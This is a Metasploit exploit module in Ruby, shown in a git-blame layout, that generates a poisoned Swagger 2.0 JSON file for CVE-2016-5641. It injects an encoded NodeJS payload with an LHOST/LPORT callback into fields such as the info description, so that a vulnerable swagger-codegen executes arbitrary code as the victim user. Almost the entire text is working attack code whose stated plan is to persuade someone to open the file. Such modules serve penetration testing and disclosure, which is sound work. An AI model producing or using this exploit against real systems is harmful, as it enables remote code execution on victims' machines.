2016-06-23 13:09:37 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
#
|
|
|
|
# Gems
|
|
|
|
#
|
|
|
|
require 'base64'
|
|
|
|
|
|
|
|
#
|
|
|
|
# Project
|
|
|
|
#
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
|
|
|
|
|
|
include Msf::Exploit::FILEFORMAT
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'JSON Swagger CodeGen Parameter Injector',
|
|
|
|
'Description' => %q{
|
|
|
|
This module generates a Open API Specification 2.0 (Swagger) compliant json
|
|
|
|
document that includes payload insertion points in parameters.
|
|
|
|
|
|
|
|
In order for the payload to be executed, an attacker must convince someone to
|
|
|
|
open a specially modified swagger.json file with with a vulnerable swagger-codgen
|
|
|
|
appliance/container/api/service. By doing so, an attacker can
|
|
|
|
execute arbitrary code as the victim user.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'ethersnowman <scott_davis@rapid7.com>'
|
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'URL', 'http://github.com/swagger-api/swagger-codegen' ],
|
|
|
|
[ 'URL', 'https://community.rapid7.com/community/infosec/blog/2016/06/23/r7-2016-06-remote-code-execution-via-swagger-parameter-injection-cve-2016-5641' ]
|
|
|
|
],
|
2016-06-23 15:14:20 +00:00
|
|
|
'Platform' => %w{ nodejs },
|
|
|
|
'Arch' => ARCH_NODEJS,
|
2016-06-23 13:09:37 +00:00
|
|
|
'Targets' => [['Automatic', {}]],
|
|
|
|
'DisclosureDate' => 'Jun 23 2016',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptAddress.new('LHOST', [true, 'Server IP or hostname that the swagger codegen will callback to.']),
|
|
|
|
OptPort.new('LPORT', [true, 'Server port.']),
|
|
|
|
OptString.new('PAYLOAD', [false, 'Payload Injection']),
|
|
|
|
OptString.new('PAYLOAD_PREFIX', [false, 'Payload Injection prefix', '']),
|
|
|
|
OptString.new('PAYLOAD_SUFFIX', [false, 'Payload Injection suffix', '']),
|
|
|
|
OptString.new('PAYLOAD_LOC', [false, 'Payload insertion point','INFO_DESCRIPTION']),
|
|
|
|
OptString.new('INFO_DESCRIPTION', [true, 'Swagger info description', 'A']),
|
|
|
|
OptString.new('INFO_VERSION', [true, 'Swagger info version.', 'B']),
|
|
|
|
OptString.new('INFO_TITLE', [true, 'Swagger info title.', 'C']),
|
|
|
|
OptEnum.new('SWAGGER_SCHEME', [true, 'Protocol scheme', 'http', ['http','https','ws','wss']]),
|
|
|
|
OptString.new('SWAGGER_HOST', [true, 'a valid hostname or IPv4', 'X.Y.Z.xyz']),
|
|
|
|
OptString.new('BASE_PATH', [true, 'The root path of API on host.', '/']),
|
|
|
|
OptString.new('PATH', [true, 'Path of request/response on root path.', '/a']),
|
|
|
|
OptString.new('PATH_DESCRIPTION', [true, 'Description of a path request object', 'D']),
|
|
|
|
OptString.new('PATH_RESPONSE_DESCRIPTION', [true, 'Description of a path response object', 'E']),
|
|
|
|
OptString.new('DEFINITION_DESCRIPTION', [true, 'Description of an object definition.', 'F'])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def swagger
|
|
|
|
%Q(
|
|
|
|
{
|
|
|
|
"swagger": "2.0",
|
|
|
|
"info": {
|
|
|
|
"description": "#{datastore['INFO_DESCRIPTION']}",
|
|
|
|
"version": "#{datastore['INFO_VERSION']}",
|
|
|
|
"title": "#{datastore['INFO_TITLE']}"
|
|
|
|
},
|
|
|
|
"schemes": [
|
|
|
|
"#{datastore['SWAGGER_SCHEME']}"
|
|
|
|
],
|
|
|
|
"host": "#{datastore['SWAGGER_HOST']}",
|
|
|
|
"basePath": "#{datastore['BASE_PATH']}",
|
|
|
|
"produces": [
|
|
|
|
"application/json"
|
|
|
|
],
|
|
|
|
"consumes": [
|
|
|
|
"application/json"
|
|
|
|
],
|
|
|
|
"paths": {
|
|
|
|
"#{datastore['PATH']}": {
|
|
|
|
"get": {
|
|
|
|
"description": "#{datastore['PATH_DESCRIPTION']}",
|
|
|
|
"responses": {
|
|
|
|
"200": {
|
|
|
|
"description": "#{datastore['PATH_RESPONSE_DESCRIPTION']}",
|
|
|
|
"schema": {
|
|
|
|
"$ref": "#/definitions/d"
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
},
|
|
|
|
"definitions": {
|
|
|
|
"d": {
|
|
|
|
"type": "object",
|
|
|
|
"description": "#{datastore['DEFINITION_DESCRIPTION']}",
|
|
|
|
"properties": {
|
|
|
|
"id": {
|
|
|
|
"type": "integer",
|
|
|
|
"format": "int64"
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
)
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
2016-06-23 15:14:20 +00:00
|
|
|
# NodeJS only, for now.
|
|
|
|
wrapped_payload = datastore['PAYLOAD_PREFIX'] +
|
|
|
|
payload.encoded + datastore['PAYLOAD_SUFFIX']
|
|
|
|
datastore[datastore['PAYLOAD_LOC']] = wrapped_payload.gsub(/"/, '\\"')
|
2016-06-23 13:09:37 +00:00
|
|
|
print_status swagger
|
|
|
|
file_create swagger
|
|
|
|
end
|
2016-06-23 15:14:20 +00:00
|
|
|
|
2016-06-23 13:09:37 +00:00
|
|
|
end
|